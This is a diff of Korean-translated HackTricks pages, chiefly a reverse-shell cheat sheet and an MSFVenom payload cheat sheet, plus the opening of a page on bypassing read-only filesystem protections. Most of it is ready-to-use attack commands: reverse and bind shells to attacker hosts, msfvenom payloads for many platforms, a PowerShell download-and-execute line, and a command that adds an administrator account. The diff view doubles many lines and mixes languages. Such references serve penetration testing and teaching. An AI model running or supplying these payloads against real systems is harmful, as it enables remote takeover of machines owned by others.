openssl s_client -quiet -connect <ATTACKER_IP>:<PORT1>|/bin/bash|openssl s_client -quiet -connect <ATTACKER_IP>:<PORT2> openssl s_client -quiet -connect <ATTACKER_IP>:<PORT1>|/bin/bash|openssl s_client -quiet -connect <ATTACKER_IP>:<PORT2>
@ -306,53 +256,39 @@ openssl s_client -quiet -connect <ATTACKER_IP>:<PORT1>|/bin/bash|openssl s_clien
#Windows #Windows
openssl.exe s_client -quiet -connect <ATTACKER_IP>:<PORT1>|cmd.exe|openssl s_client -quiet -connect <ATTACKER_IP>:<PORT2> openssl.exe s_client -quiet -connect <ATTACKER_IP>:<PORT1>|cmd.exe|openssl s_client -quiet -connect <ATTACKER_IP>:<PORT2>
``` ```
## **Socat** ## **Socat**
[https://github.com/andrew-d/static-binaries](https://github.com/andrew-d/static-binaries) [https://github.com/andrew-d/static-binaries](https://github.com/andrew-d/static-binaries)
### 바인드 쉘 ### 바인드 셸
```bash ```bash
victim> socat TCP-LISTEN:1337,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sane victim> socat TCP-LISTEN:1337,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sane
attacker> socat FILE:`tty`,raw,echo=0 TCP:<victim_ip>:1337 attacker> socat FILE:`tty`,raw,echo=0 TCP:<victim_ip>:1337
``` ```
### 리버스 셸
### 리버스 쉘
```bash ```bash
attacker> socat TCP-LISTEN:1337,reuseaddr FILE:`tty`,raw,echo=0 attacker> socat TCP-LISTEN:1337,reuseaddr FILE:`tty`,raw,echo=0
victim> socat TCP4:<attackers_ip>:1337 EXEC:bash,pty,stderr,setsid,sigint,sane victim> socat TCP4:<attackers_ip>:1337 EXEC:bash,pty,stderr,setsid,sigint,sane
``` ```
## Awk ## Awk
```bash ```bash
awk 'BEGIN {s = "/inet/tcp/0/<IP>/<PORT>"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null awk 'BEGIN {s = "/inet/tcp/0/<IP>/<PORT>"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null
``` ```
## Finger ## Finger
**공격자** **공격자**
```bash ```bash
while true; do nc -l 79; done while true; do nc -l 79; done
``` ```
명령을 보내려면 입력하고 Enter를 누른 다음 CTRL+D를 눌러 STDIN을 중지합니다.
**피해자** **희생자**
명령을 보내려면 적어두고 Enter를 누르고 CTRL+D를 누르세요 (STDIN을 중지하려면)
```bash ```bash
export X=Connected; while true; do X=`eval $(finger "$X"@<IP> 2> /dev/null')`; sleep 1; done export X=Connected; while true; do X=`eval $(finger "$X"@<IP> 2> /dev/null')`; sleep 1; done
export X=Connected; while true; do X=`eval $(finger "$X"@<IP> 2> /dev/null | grep '!'|sed 's/^!//')`; sleep 1; done export X=Connected; while true; do X=`eval $(finger "$X"@<IP> 2> /dev/null | grep '!'|sed 's/^!//')`; sleep 1; done
``` ```
## Gawk ## Gawk
## Gawk
```bash ```bash
#!/usr/bin/gawk -f #!/usr/bin/gawk -f
@ -375,36 +311,29 @@ close(Service)
} }
} }
``` ```
## Xterm ## Xterm
이것은 포트 6001에서 시스템에 연결을 시도할 것입니다: 이것은 포트 6001에서 귀하의 시스템에 연결을 시도합니다:
```bash ```bash
xterm -display 10.0.0.1:1 xterm -display 10.0.0.1:1
``` ```
역방향 셸을 잡기 위해 사용할 수 있는 것은 (포트 6001에서 수신 대기할 것입니다):
역쉘을 잡기 위해 다음을 사용할 수 있습니다 (포트 6001에서 수신 대기):
```bash ```bash
# Authorize host # Authorize host
xhost +targetip xhost +targetip
# Listen # Listen
Xnest :1 Xnest :1
``` ```
## Groovy ## Groovy
by [frohoff](https://gist.github.com/frohoff/fed1ffaab9b9beeb1c76) 참고: Java 역쉘은 Groovy에서도 작동합니다. by [frohoff](https://gist.github.com/frohoff/fed1ffaab9b9beeb1c76) 주의: Java 리버스 셸은 Groovy에도 작동합니다.
```bash ```bash
String host="localhost"; String host="localhost";
int port=8044; int port=8044;
String cmd="cmd.exe"; String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close(); Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
``` ```
## References
## 참고 자료
* [https://highon.coffee/blog/reverse-shell-cheat-sheet/](https://highon.coffee/blog/reverse-shell-cheat-sheet/) * [https://highon.coffee/blog/reverse-shell-cheat-sheet/](https://highon.coffee/blog/reverse-shell-cheat-sheet/)
* [http://pentestmonkey.net/cheat-sheet/shells/reverse-shell](http://pentestmonkey.net/cheat-sheet/shells/reverse-shell) * [http://pentestmonkey.net/cheat-sheet/shells/reverse-shell](http://pentestmonkey.net/cheat-sheet/shells/reverse-shell)
@ -413,20 +342,21 @@ Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new
**Try Hard Security Group** **Try Hard Security Group**
<figure><img src="https://github.com/carlospolop/hacktricks/blob/kr/generic-methodologies-and-resources/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %} {% embed url="https://discord.gg/tryhardsecurity" %}
{% hint style="success" %}
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>와 함께 **제로부터 영웅이 되는 AWS 해킹을 배우세요**!</summary> <summary>HackTricks 지원하기</summary>
HackTricks를 지원하는 다른 방법: * [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
* **회사를 HackTricks에서 광고하거나 PDF로 다운로드하고 싶다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요! * **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* 💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
* **HackTricks****HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
</details> </details>
{% endhint %}

View file

@ -1,48 +1,49 @@
# MSFVenom - CheatSheet # MSFVenom - CheatSheet
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>제로부터 영웅이 될 때까지 AWS 해킹을 배우세요</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
HackTricks를 지원하는 다른 방법: * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하고 싶다면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요! * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* [**공식 PEASS & HackTricks 굿즈**](https://peass.creator-spring.com)를 구매하세요
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* **💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f)에 가입하거나 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
* **해킹 트릭을 공유하려면 PR을 제출하여** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 참여하세요.
</details> </details>
{% endhint %}
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
경험 많은 해커 및 버그 바운티 헌터와 소통하려면 [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) 서버에 가입하세요! Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
**해킹 통찰**\ **Hacking Insights**\
해킹의 스릴과 도전에 대해 탐구하는 콘텐츠와 상호 작용 해킹의 스릴과 도전에 대해 깊이 있는 콘텐츠에 참여하세요.
**실시간 해킹 뉴스**\ **Real-Time Hack News**\
빠르게 변화하는 해킹 세계의 실시간 뉴스와 통찰력을 유지하세요 실시간 뉴스와 통찰력을 통해 빠르게 변화하는 해킹 세계의 최신 정보를 유지하세요.
**최신 공지**\ **Latest Announcements**\
최신 버그 바운티 출시 및 중요한 플랫폼 업데이트에 대해 정보를 유지하세요 새로운 버그 바운티와 중요한 플랫폼 업데이트에 대한 최신 정보를 유지하세요.
**[**디스코드**](https://discord.com/invite/N3FrSbmwdy)에 참여하여 오늘 최고의 해커들과 협업을 시작하세요! **Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today!
*** ***
## 기본 msfvenom ## Basic msfvenom
`msfvenom -p <PAYLOAD> -e <ENCODER> -f <FORMAT> -i <ENCODE COUNT> LHOST=<IP>` `msfvenom -p <PAYLOAD> -e <ENCODER> -f <FORMAT> -i <ENCODE COUNT> LHOST=<IP>`
또한 `-a`를 사용하여 아키텍처를 지정하거나 `--platform`을 사용할 수 있습니다. One can also use the `-a` to specify the architecture or the `--platform`
## 목록 ## Listing
```bash ```bash
msfvenom -l payloads #Payloads msfvenom -l payloads #Payloads
msfvenom -l encoders #Encoders msfvenom -l encoders #Encoders
``` ```
## 셸코드를 생성할 때 사용되는 일반적인 매개변수 ## 쉘코드를 생성할 때의 일반 매개변수
```bash ```bash
-b "\x00\x0a\x0d" -b "\x00\x0a\x0d"
-f c -f c
@ -50,17 +51,15 @@ msfvenom -l encoders #Encoders
EXITFUNC=thread EXITFUNC=thread
PrependSetuid=True #Use this to create a shellcode that will execute something with SUID PrependSetuid=True #Use this to create a shellcode that will execute something with SUID
``` ```
## **Windows** ## **윈도우**
### **Reverse Shell** ### **리버스 셸**
{% code overflow="wrap" %} {% code overflow="wrap" %}
```bash ```bash
msfvenom -p windows/meterpreter/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f exe > reverse.exe msfvenom -p windows/meterpreter/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f exe > reverse.exe
``` ```
{% endcode %} ### 바인드 셸
### Bind Shell
{% code overflow="wrap" %} {% code overflow="wrap" %}
```bash ```bash
@ -74,9 +73,7 @@ msfvenom -p windows/meterpreter/bind_tcp RHOST=(IP Address) LPORT=(Your Port) -f
```bash ```bash
msfvenom -p windows/adduser USER=attacker PASS=attacker@123 -f exe > adduser.exe msfvenom -p windows/adduser USER=attacker PASS=attacker@123 -f exe > adduser.exe
``` ```
{% endcode %} ### CMD Shell
### CMD 셸
{% code overflow="wrap" %} {% code overflow="wrap" %}
```bash ```bash
@ -84,13 +81,11 @@ msfvenom -p windows/shell/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f ex
``` ```
### **명령 실행** ### **명령 실행**
{% 코드 오버플로우 = "랩" %} {% code overflow="wrap" %}
```bash ```bash
msfvenom -a x86 --platform Windows -p windows/exec CMD="powershell \"IEX(New-Object Net.webClient).downloadString('http://IP/nishang.ps1')\"" -f exe > pay.exe msfvenom -a x86 --platform Windows -p windows/exec CMD="powershell \"IEX(New-Object Net.webClient).downloadString('http://IP/nishang.ps1')\"" -f exe > pay.exe
msfvenom -a x86 --platform Windows -p windows/exec CMD="net localgroup administrators shaun /add" -f exe > pay.exe msfvenom -a x86 --platform Windows -p windows/exec CMD="net localgroup administrators shaun /add" -f exe > pay.exe
``` ```
{% endcode %}
### 인코더 ### 인코더
{% code overflow="wrap" %} {% code overflow="wrap" %}
@ -105,37 +100,41 @@ msfvenom -p windows/meterpreter/reverse_tcp -e shikata_ga_nai -i 3 -f exe > enco
```bash ```bash
msfvenom -p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -x /usr/share/windows-binaries/plink.exe -f exe -o plinkmeter.exe msfvenom -p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -x /usr/share/windows-binaries/plink.exe -f exe -o plinkmeter.exe
``` ```
## 리눅스 Payloads {% endcode %}
### 리버스 쉘 ## 리눅스 페이로드
### 리버스 셸
{% code overflow="wrap" %}
```bash ```bash
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f elf > reverse.elf msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f elf > reverse.elf
msfvenom -p linux/x64/shell_reverse_tcp LHOST=IP LPORT=PORT -f elf > shell.elf msfvenom -p linux/x64/shell_reverse_tcp LHOST=IP LPORT=PORT -f elf > shell.elf
``` ```
{% endcode %} ### 바인드 셸
### Bind Shell
{% code overflow="wrap" %} {% code overflow="wrap" %}
```bash ```bash
msfvenom -p linux/x86/meterpreter/bind_tcp RHOST=(IP Address) LPORT=(Your Port) -f elf > bind.elf msfvenom -p linux/x86/meterpreter/bind_tcp RHOST=(IP Address) LPORT=(Your Port) -f elf > bind.elf
``` ```
{% endcode %}
### SunOS (Solaris) ### SunOS (Solaris)
{% code overflow="wrap" %} {% code overflow="wrap" %}
```bash ```bash
msfvenom --platform=solaris --payload=solaris/x86/shell_reverse_tcp LHOST=(ATTACKER IP) LPORT=(ATTACKER PORT) -f elf -e x86/shikata_ga_nai -b '\x00' > solshell.elf msfvenom --platform=solaris --payload=solaris/x86/shell_reverse_tcp LHOST=(ATTACKER IP) LPORT=(ATTACKER PORT) -f elf -e x86/shikata_ga_nai -b '\x00' > solshell.elf
``` ```
## **MAC Payloads** {% endcode %}
### **Reverse Shell:** ## **MAC 페이로드**
### **리버스 셸:**
{% code overflow="wrap" %} {% code overflow="wrap" %}
```bash ```bash
msfvenom -p osx/x86/shell_reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f macho > reverse.macho msfvenom -p osx/x86/shell_reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f macho > reverse.macho
``` ```
{% endcode %}
### **바인드 셸** ### **바인드 셸**
{% code overflow="wrap" %} {% code overflow="wrap" %}
@ -144,18 +143,22 @@ msfvenom -p osx/x86/shell_bind_tcp RHOST=(IP Address) LPORT=(Your Port) -f macho
``` ```
{% endcode %} {% endcode %}
## **웹 기반 Payloads** ## **웹 기반 페이로드**
### **PHP** ### **PHP**
#### 역순 쉘 #### 리버스 셸
{% code overflow="wrap" %}
```bash ```bash
msfvenom -p php/meterpreter_reverse_tcp LHOST=<IP> LPORT=<PORT> -f raw > shell.php msfvenom -p php/meterpreter_reverse_tcp LHOST=<IP> LPORT=<PORT> -f raw > shell.php
cat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >> shell.php cat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >> shell.php
``` ```
{% endcode %}
### ASP/x ### ASP/x
#### Reverse shell #### 리버스 셸
{% code overflow="wrap" %} {% code overflow="wrap" %}
```bash ```bash
@ -166,7 +169,7 @@ msfvenom -p windows/meterpreter/reverse_tcp LHOST=(IP Address) LPORT=(Your Port)
### JSP ### JSP
#### Reverse shell #### 리버스 셸
{% code overflow="wrap" %} {% code overflow="wrap" %}
```bash ```bash
@ -174,9 +177,11 @@ msfvenom -p java/jsp_shell_reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f r
``` ```
{% endcode %} {% endcode %}
### 전술 ### WAR
#### 리버스 쉘 #### 리버스 셸
{% code overflow="wrap" %}
```bash ```bash
msfvenom -p java/jsp_shell_reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f war > reverse.war msfvenom -p java/jsp_shell_reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f war > reverse.war
``` ```
@ -186,9 +191,9 @@ msfvenom -p java/jsp_shell_reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f w
```bash ```bash
msfvenom -p nodejs/shell_reverse_tcp LHOST=(IP Address) LPORT=(Your Port) msfvenom -p nodejs/shell_reverse_tcp LHOST=(IP Address) LPORT=(Your Port)
``` ```
## **스크립트 언어 payloads** ## **스크립트 언어 페이로드**
### **펄 (Perl)** ### **Perl**
{% code overflow="wrap" %} {% code overflow="wrap" %}
```bash ```bash
@ -196,15 +201,13 @@ msfvenom -p cmd/unix/reverse_perl LHOST=(IP Address) LPORT=(Your Port) -f raw >
``` ```
{% endcode %} {% endcode %}
### **Python** ### **파이썬**
{% code overflow="wrap" %} {% code overflow="wrap" %}
```bash ```bash
msfvenom -p cmd/unix/reverse_python LHOST=(IP Address) LPORT=(Your Port) -f raw > reverse.py msfvenom -p cmd/unix/reverse_python LHOST=(IP Address) LPORT=(Your Port) -f raw > reverse.py
``` ```
{% endcode %} ### **배쉬**
### **Bash**
{% code overflow="wrap" %} {% code overflow="wrap" %}
```bash ```bash
@ -214,29 +217,30 @@ msfvenom -p cmd/unix/reverse_bash LHOST=<Local IP Address> LPORT=<Local Port> -f
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) 서버에 가입하여 경험丰富한 해커들과 버그 바운티 헌터들과 소통하세요! 경험이 풍부한 해커 및 버그 바운티 헌터와 소통하기 위해 [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) 서버에 참여하세요!
**해킹 통찰력**\ **해킹 통찰력**\
해킹의 즐거움과 도전에 대해 탐구하는 콘텐츠와 상호 작용하세요 해킹의 스릴과 도전에 대해 깊이 있는 콘텐츠에 참여하세요.
**실시간 해킹 뉴스**\ **실시간 해킹 뉴스**\
실시간 뉴스와 통찰력을 통해 빠르게 변화하는 해킹 세계를 파악하세요 실시간 뉴스와 통찰력을 통해 빠르게 변화하는 해킹 세계의 최신 정보를 유지하세요.
**최신 공지**\ **최신 발표**\
최신 버그 바운티 출시 및 중요한 플랫폼 업데이트에 대해 알아보세요 새로운 버그 바운티 출시 및 중요한 플랫폼 업데이트에 대한 정보를 유지하세요.
**[**Discord**](https://discord.com/invite/N3FrSbmwdy)에 참여하여 최고의 해커들과 협업을 시작하세요! 오늘 [**Discord**](https://discord.com/invite/N3FrSbmwdy)에 참여하여 최고의 해커들과 협업을 시작하세요!
{% hint style="success" %}
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>제로부터 영웅이 될 때까지 AWS 해킹 배우기</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>HackTricks 지원하기</summary>
HackTricks를 지원하는 다른 방법: * [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
* **회사가 HackTricks에서 광고되길 원하거나 PDF로 HackTricks를 다운로드하길 원한다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요! * **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.**
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
* **해킹 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
</details> </details>
{% endhint %}

View file

@ -1,35 +1,36 @@
# FS 보호 기능 우회: 읽기 전용 / 실행 불가 / Distroless # FS 보호 우회: 읽기 전용 / 실행 금지 / Distroless
{% hint style="success" %}
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 제로부터 전문가까지 배우세요</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>!</strong></a></summary> <summary>HackTricks 지원하기</summary>
HackTricks를 지원하는 다른 방법: * [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
* **회사를 HackTricks에서 광고하거나 PDF로 HackTricks를 다운로드**하고 싶다면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요! * **해킹 트릭을 공유하려면 [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하세요.**
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구입하세요
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
* **해킹 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소로 PR을 제출하세요.
</details> </details>
{% endhint %}
<figure><img src="../../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
**해킹 경력**에 관심이 있고 해킹할 수 없는 것을 해킹하고 싶다면 - **채용 중**입니다! (_유창한 폴란드어 필수_). **해킹 경력**에 관심이 있고 해킹할 수 없는 것을 해킹하고 싶다면 - **우리는 인재를 모집합니다!** (_유창한 폴란드어 필기 및 구사 필수_).
{% embed url="https://www.stmcyber.com/careers" %} {% embed url="https://www.stmcyber.com/careers" %}
## 비디오 ## 비디오
다음 비디오에서는 이 페이지에서 언급된 기술에 대해 더 자세히 설명된 내용을 찾을 수 있습니다: 다음 비디오에서 이 페이지에 언급된 기술을 더 깊이 설명합니다:
* [**DEF CON 31 - 은밀하고 회피를 위한 리눅스 메모리 조작 탐색**](https://www.youtube.com/watch?v=poHirez8jk4) * [**DEF CON 31 - 리눅스 메모리 조작 탐색을 통한 스텔스 및 회피**](https://www.youtube.com/watch?v=poHirez8jk4)
* [**DDexec-ng 및 메모리 dlopen()을 사용한 은밀한 침입 - HackTricks Track 2023**](https://www.youtube.com/watch?v=VM\_gjjiARaU) * [**DDexec-ng 및 인메모리 dlopen()을 통한 스텔스 침투 - HackTricks Track 2023**](https://www.youtube.com/watch?v=VM\_gjjiARaU)
## 읽기 전용 / 실행 불가 시나리오 ## 읽기 전용 / 실행 금지 시나리오
특히 컨테이너에서 **읽기 전용 (ro) 파일 시스템 보호**로 마운트된 리눅스 머신을 더 많이 찾을 수 있습니다. 이는 `securitycontext`에서 **`readOnlyRootFilesystem: true`**를 설정하는 것만큼 쉽기 때문입니다: 리눅스 머신이 **읽기 전용 (ro) 파일 시스템 보호**로 마운트되는 경우가 점점 더 많아지고 있습니다. 특히 컨테이너에서 그렇습니다. 이는 ro 파일 시스템으로 컨테이너를 실행하는 것이 `securitycontext`에서 **`readOnlyRootFilesystem: true`**를 설정하는 것만큼 쉽기 때문입니다:
<pre class="language-yaml"><code class="lang-yaml">apiVersion: v1 <pre class="language-yaml"><code class="lang-yaml">apiVersion: v1
kind: Pod kind: Pod
@ -44,101 +45,110 @@ securityContext:
</strong> command: ["sh", "-c", "while true; do sleep 1000; done"] </strong> command: ["sh", "-c", "while true; do sleep 1000; done"]
</code></pre> </code></pre>
그러나 파일 시스템이 ro로 마운트되어 있더라도 **`/dev/shm`**은 여전히 쓰기 가능하므로 디스크에 아무것도 쓸 수 없는 것은 가짜입니다. 그러나 이 폴더는 **실행 불가 보호로 마운트**되므로 여기에 바이너리를 다운로드하면 **실행할 수 없습니다**. 그러나 파일 시스템이 ro로 마운트되더라도 **`/dev/shm`**는 여전히 쓰기가 가능하므로 디스크에 아무것도 쓸 수 없다는 것은 잘못된 것입니다. 그러나 이 폴더는 **실행 금지 보호**로 마운트되므로 여기에서 바이너리를 다운로드하면 **실행할 수 없습니다**.
{% hint style="warning" %} {% hint style="warning" %}
적색 팀 관점에서는 시스템에 이미 없는 바이너리(백도어 또는 `kubectl`과 같은 열거자)를 **다운로드하고 실행하는 것이 복잡**해집니다. 레드 팀 관점에서 볼 때, 이는 시스템에 이미 없는 바이너리(예: 백도어 또는 `kubectl`과 같은 열거기)를 다운로드하고 실행하는 것을 **복잡하게 만듭니다**.
{% endhint %} {% endhint %}
## 가장 쉬운 우회: 스크립트 ## 가장 쉬운 우회: 스크립트
바이너리를 언급했지만, 인터프리터가 머신 내에 있으면 **쉘 스크립트**(`sh`가 설치되어 있으면)나 **파이썬 스크립트**(`python`이 설치되어 있으면)와 같이 **스크립트를 실행**할 수 있습니다. 바이너리를 언급했지만, **인터프리터가 머신 내부에 있는 한** 어떤 스크립트도 **실행할 수 있습니다**. 예를 들어 `sh`가 있는 경우 **셸 스크립트**를 실행하거나 `python`이 설치된 경우 **파이썬 스크립트**를 실행할 수 있습니다.
